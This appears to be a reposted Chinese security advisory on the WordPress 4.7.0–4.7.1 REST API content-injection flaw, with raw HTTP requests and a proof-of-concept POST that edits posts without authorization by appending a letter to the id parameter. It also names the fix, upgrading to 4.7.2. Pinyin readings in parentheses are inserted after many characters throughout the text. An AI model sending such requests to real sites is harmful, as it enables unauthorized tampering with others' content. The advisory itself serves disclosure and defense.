信息來源:Freebuf
WordPress最近曝出內(nèi)容注入漏洞,影響到REST API——來自Sucuri的安全研究人員最先發(fā)現(xiàn)該漏洞。未經(jīng)授權(quán)的攻擊者利用該漏洞可注入惡意內(nèi)容,以及進(jìn)行提權(quán),對(duì)文章、頁(yè)面等內(nèi)容進(jìn)行修改。REST API是最近添加到WordPress 4.7.0并默認(rèn)啟用的。
鑒于WordPress使用的廣泛性,該漏洞的影響還是比較大的。使用 WordPress REST API 是簡(jiǎn)便高效的通過 JSON 格式傳輸數(shù)據(jù)訪問或控制 WordPress 站點(diǎn)內(nèi)容的方法。API 提供了對(duì)用戶、文章、分類等不同功能的控制,也可以通過 API 檢索或修改文章。Wordpress REST API 插件在 4.70 集成到 WordPress 中,由于權(quán)限控制失效導(dǎo)致內(nèi)容注入或修改。WordPress開發(fā)團(tuán)隊(duì)已經(jīng)與Sucuri配合在最新的4.7.2版本中修復(fù)了該漏洞。
漏洞名稱:
WordPress REST API 內(nèi)容注入/權(quán)限提升
影響版本:
4.7.0 – 4.7.1
漏洞詳情:
WordPress 在 4.7.0 版本后集成了原 REST API 插件的功能
Permalinks設(shè)置為非Plain模式
使用 WordPress 程序的網(wǎng)站首頁(yè)上會(huì)有:
<linkrel="https://api.w.org/">
API 地址則為:http://www.xxx.com/wp-json/
查看文章列表
GET /index.php/wp-json/wp/v2/posts HTTP/1.1
Host: xxx.net
User-Agent: Mozilla/5.0(Macintosh; Intel Mac OS X10_12_2) AppleWebKit/537.36(KHTML, like Gecko) Chrome/55.0.2883.95Safari/537.36
Content-Length:4
根據(jù)文章列表可以找到對(duì)應(yīng)的id
檢索文章
GET /index.php/wp-json/wp/v2/posts/500HTTP/1.1
Host: xxx.net
User-Agent: Mozilla/5.0(Macintosh; Intel Mac OS X10_12_2) AppleWebKit/537.36(KHTML, like Gecko) Chrome/55.0.2883.95Safari/537.36
Content-Length:4
修改文章
POST /index.php/wp-json/wp/v2/posts/500?id=500HTTP/1.1
Host: xxx.net
User-Agent: Mozilla/5.0(Macintosh; Intel Mac OS X10_12_2) AppleWebKit/537.36(KHTML, like Gecko) Chrome/55.0.2883.95Safari/537.36
Content-Type: application/json
Content-Length:43
{"title":"x x x x"}
如果返回 401 則無權(quán)限修改
詳細(xì)的 API 使用方法見:http://v2.wp-api.org/
漏洞PoC:
POST /index.php/wp-json/wp/v2/posts/500?id=500a HTTP/1.1
Host: xxx.net
User-Agent: Mozilla/5.0(Macintosh; Intel Mac OS X10_12_2) AppleWebKit/537.36(KHTML, like Gecko) Chrome/55.0.2883.95Safari/537.36
Content-Type: application/json
Content-Length:43
{"title":"xxxx"}
返回 200 修改成功
修復(fù)方案:
升級(jí)到 4.7.2
參考來源:
https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html
http://v2.wp-api.org/